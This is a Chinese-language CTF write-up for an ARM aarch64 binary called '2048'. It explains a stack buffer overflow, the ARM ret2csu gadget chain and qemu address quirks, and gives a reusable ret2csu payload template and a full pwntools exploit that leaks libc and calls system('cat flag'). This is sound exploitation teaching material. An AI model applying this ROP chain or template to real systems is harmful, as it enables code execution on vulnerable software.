0%

ARM pwn+ret2csu

2048 复现

1
GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.2) stable release version 2.31
  • PS:ARM 的 libc 和 X86 的还不一样
1
2
3
4
5
6
2048: ELF 64-bit LSB executable, ARM aarch64, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux-aarch64.so.1, BuildID[sha1]=2ad2206f21bc8a991f4874f2b2ca0cc6e6b973c0, for GNU/Linux 3.7.0, stripped                  
Arch: aarch64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
  • 64位,dynamically,ARM,开了 NX,Full RELRO

这是 ARM 的程序,需要用 qemu 来模拟 ARM 虚拟机(环境我已经搭好了)

使用如下命令来启动 qemu:

1
qemu-aarch64 -L /usr/aarch64-linux-gnu ./[pwn]

漏洞分析

1
2
3
4
5
6
7
8
9
char buf[20]; // [xsp+10h] [xbp+10h] BYREF

puts("You win!");
printf("Do you want to continue playing? [y/n]: ");
read(0, buf, 0x100uLL); // 栈溢出
result = (unsigned __int8)buf[0];
if ( buf[0] == 'Y' || buf[0] == 'y' )
return game_close();
return result;
  • 数组 buf 溢出,没有开 canary 可以直接打 ROP

入侵思路

在进行栈溢出之前,需要先完成一个游戏:2048

逆向分析发现,这个程序通过 “W” “S” “A” “D” 4个键来控制程序(具体的实现过程可以先不用管),并且程序的种子是固定的

每一局游戏都是以下这个界面:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Score: 0
+------+------+------+------+
| | | | |
| | | | 2 |
| | | | |
+------+------+------+------+
| | | | |
| 2 | | | |
| | | | |
+------+------+------+------+
| | | | |
| | | | |
| | | | |
+------+------+------+------+
| | | | |
| | | | |
| | | | |
+------+------+------+------+
  • 因此,只要完成一次游戏记录 payload 就可以了(我就没有跑脚本了,直接硬玩也可以)
1
payload = 'sddsdsdsddssssdddsddssddddwsdsdsddssdsdsssdsddddddsssddsddddadssdsdsddddssdddddadsssswssddsdsdssddadddsdddadsdssddsdddswwwdddsddadsdddaasdsddsdsdsddsdsddsdddssdsddsddddwsdsssddsadsdsdddsddsaddwwdsddsssddsdadadsdssasdadswsdaddssssswswdssddssdsdsadwdswwwswdsdsadassddsddddadaddssdasdsdsddsddsssdsdsddddsddddwssdssdswsdssdadadssswddadawwwwwdsdaasdsadsssdsddsdssdddswwwsddssasdwwwswswdddddsdssddddddsdswswswsdsadaasdddaaddsdassdsdasasddwwdddwdsdsddsddwddsadasdssdsswdsdsassddswwdwwswdadddassdsdsddwsddsadsssddsddsddaswasdsdssaddswsswsadsssssassdsdwwsssdsdsdddddsswwdwswsddssddsssssddsdssswssddswsddssddsddsssdswssssssddwddsdwsdswswsddwsdsssdasddadasddadsadsddddswdsasssswswsddsssssdsdwswdswswdsdsswsdsddsssadssdswsaaadsddssdswsswswddsddsdsssdadasdaassdwsdasdaadsdsddsddsadsdssssssddsdadsdsdsaddddsswdasasdddsddsadsdddsddsssdadadsaaddddssdwdddsadwdasddssddsssdsdsdddssaaaaasdsaddddswwdsdasswdwwswdsswsdsdddssswwsddssdwdssdsssssssdadsdadwdssdadddwddsddssdadddddddaadasddsddwdsdadaaaaaaadswds'

接下来的 ROP 就是重头戏了,先介绍一下 ARM 的 ret2csu:

1
2
3
4
5
6
.text:                               loc_4020D8                              ; CODE XREF: sub_402070+3C↑j
.text: F3 53 41 A9 LDP X19, X20, [SP,#var_s10]
.text: F5 5B 42 A9 LDP X21, X22, [SP,#var_s20]
.text: F7 63 43 A9 LDP X23, X24, [SP,#var_s30]
.text: FD 7B C4 A8 LDP X29, X30, [SP+var_s0],#0x40
.text: C0 03 5F D6 RET
1
2
3
4
5
6
7
.text:                               loc_4020B8                              ; CODE XREF: sub_402070+64↓j
.text: A3 7A 73 F8 LDR X3, [X21,X19,LSL#3]
.text: E2 03 18 AA MOV X2, X24
.text: 73 06 00 91 ADD X19, X19, #1
.text: E1 03 17 AA MOV X1, X23
.text: E0 03 16 2A MOV W0, W22
.text: 60 00 3F D6 BLR X3
  • LDP <reg0>, <reg1>, [<reg2|SP>{, #<imm>}]
    • SP+<imm>上的值存入<reg0>, <reg1>
    • 常用于恢复寄存器的数据
    • 基地址偏移量模式,“{}”大括号表示可选的意思
  • LDR <reg0>, [<reg1>, <reg2>, LSL#3]
    • 查找到 <reg1>(基地址)加上 <reg2> 右移3位(偏移地址)的地址
    • 把其中的内容赋值给 <reg0>
  • BLR <Xm>
    • 跳转到由 <Xm> 目标寄存器指定的地址处
    • 同时将下一条指令存放到 <X30> 寄存器中

利用模板:

1
2
3
4
5
6
7
8
9
10
11
12
13
csu1_addr = 
csu2_addr =
def ret2csu(func_addr, arg0, arg1, arg2):
payload = p64(csu1_addr) # ret
payload += p64(csu1_addr) # x29
payload += p64(csu2_addr) # x30
payload += p64(0) # x19
payload += p64(1) # x20
payload += p64(func_addr) # x21
payload += p64(arg0) # x22 (x0)
payload += p64(arg1) # x23 (x1)
payload += p64(arg2) # x24 (x2)
return payload
  • 注意:程序并不会直接调用 func_addr,而是会调用 func_addr 指向的地址

最后说一下 ARM 环境的问题:

  • 绝大多数 ARM 架构的题都是在 qemu 模拟出的环境中跑的,而 qemu 没有 NXPIE(即使题目所给的二进制文件开了 NXPIE 保护,也只是对真机环境奏效),也就是说,qemu 中所有地址都是有可执行权限的(包括堆栈,甚至 bss 段等),然后 libc_baseproc_base 每次跑都是固定的
  • qemu 的时候,libc_base 一般都是 0x4000XXX000 这样的地址,因此泄露数据的时候会被 \x00 截断,其实只需要泄露后三个字节(后六位),然后加上 0x4000000000 即可得到泄露出的 libc 地址(本地和远程的偏移可能不同)

于是我们就先调用 GOT 里面的 puts 随便泄露一个 GOT 里面的函数,计算出 libc_base,然后利用 ret2csu 执行 ROP

完整 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
# -*- coding: utf-8 -*-
from pwn import *

p=process(['qemu-aarch64','-L','/usr/aarch64-linux-gnu/','./20481'])
#p=process(['qemu-aarch64','-L','/usr/aarch64-linux-gnu/','-g','1234','./20481'])

elf=ELF('./20481')

context(arch='aarch64', os='linux')
#context.log_level='debug'

csu1_addr=0x4020D8
csu2_addr=0x4020B8

libc=ELF('./libc-2.31.so')

csu1_addr=0x04020D8
csu2_addr=0x04020B8
def ret2csu(func_addr, arg0, arg1, arg2):
payload = p64(csu1_addr) # ret
payload += p64(csu1_addr) # x29
payload += p64(csu2_addr) # x30
payload += p64(0) # x19
payload += p64(1) # x20
payload += p64(func_addr) # x21
payload += p64(arg0) # x22 (x0)
payload += p64(arg1) # x23 (x1)
payload += p64(arg2) # x24 (x2)
return payload

puts_addr = 0x4131B8
__libc_start_main_got = 0x412f68
__libc_start_main_libc = 0x5500856ba8
puts_got = 0x412f88
libc_base = __libc_start_main_libc - libc.sym['__libc_start_main']
system_libc = libc.sym['system']+libc_base
success("libc_base >> "+hex(libc_base))

p.recvuntil('name:')
p.send(p64(system_libc)+"cat flag")
sleep(1)

payload = 'sddsdsdsddssssdddsddssddddwsdsdsddssdsdsssdsddddddsssddsddddadssdsdsddddssdddddadsssswssddsdsdssddadddsdddadsdssddsdddswwwdddsddadsdddaasdsddsdsdsddsdsddsdddssdsddsddddwsdsssddsadsdsdddsddsaddwwdsddsssddsdadadsdssasdadswsdaddssssswswdssddssdsdsadwdswwwswdsdsadassddsddddadaddssdasdsdsddsddsssdsdsddddsddddwssdssdswsdssdadadssswddadawwwwwdsdaasdsadsssdsddsdssdddswwwsddssasdwwwswswdddddsdssddddddsdswswswsdsadaasdddaaddsdassdsdasasddwwdddwdsdsddsddwddsadasdssdsswdsdsassddswwdwwswdadddassdsdsddwsddsadsssddsddsddaswasdsdssaddswsswsadsssssassdsdwwsssdsdsdddddsswwdwswsddssddsssssddsdssswssddswsddssddsddsssdswssssssddwddsdwsdswswsddwsdsssdasddadasddadsadsddddswdsasssswswsddsssssdsdwswdswswdsdsswsdsddsssadssdswsaaadsddssdswsswswddsddsdsssdadasdaassdwsdasdaadsdsddsddsadsdssssssddsdadsdsdsaddddsswdasasdddsddsadsdddsddsssdadadsaaddddssdwdddsadwdasddssddsssdsdsdddssaaaaasdsaddddswwdsdasswdwwswdsswsdsdddssswwsddssdwdssdsssssssdadsdadwdssdadddwddsddssdadddddddaadasddsddwdsdadaaaaaaadswds'
p.send(payload)

p.recvuntil('[y/n]: ')
payload=40*'a'
#payload+=ret2csu(puts_got,__libc_start_main_got,0,0)
#payload+=ret2csu(0x413154,(libc.search('/bin/sh').next())+libc_base,0,0)
payload+=ret2csu(0x413154,0x413154+8,0,0)

p.send(payload)
"""
p.recvuntil('Bye~\n')
leak_addr=u64(p.recv(3).ljust(8,'\x00'))
success("leak_addr >> "+hex(leak_addr))
# leak_addr >> 0x856ba8
# __libc_start_main >> 0x5500856ba8
"""

p.interactive()

小结:

初入 ARM pwn,学到了不少 ARM 的知识:

  • libc_baseproc_base 每次跑都是固定的
  • ret2csu 并不会直接调用 func_addr,而是会调用 func_addr 指向的地址

我感觉这个 2048 小游戏很有意思,有时间看看这是这么实现的